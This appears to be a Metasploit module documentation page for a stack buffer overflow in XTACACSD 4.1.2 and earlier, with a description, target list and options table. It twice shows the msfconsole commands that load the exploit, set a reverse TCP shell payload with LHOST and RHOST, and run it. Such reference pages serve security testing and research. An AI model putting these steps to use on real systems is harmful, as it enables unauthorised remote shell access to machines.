XTACACSD <= 4.1.2 report() Buffer Overflow
This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By sending a specially crafted XTACACS packet with an overly long username, an attacker may be able to execute arbitrary code.
Exploit Rank
- Average
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - FreeBSD 6.2-Release Bruteforce (default)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/freebsd/tacacs/xtacacsd_report
msf exploit(xtacacsd_report) > show payloads
msf exploit(xtacacsd_report) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(xtacacsd_report) > set LHOST [MY IP ADDRESS]
msf exploit(xtacacsd_report) > set RHOST [TARGET IP]
msf exploit(xtacacsd_report) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/freebsd/tacacs/xtacacsd_report
msf exploit(xtacacsd_report) > show payloads
msf exploit(xtacacsd_report) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(xtacacsd_report) > set LHOST [MY IP ADDRESS]
msf exploit(xtacacsd_report) > set RHOST [TARGET IP]
msf exploit(xtacacsd_report) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 49) |
| BruteStep | Step size between brute force attempts |
| BruteWait | Delay between brute force attempts |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
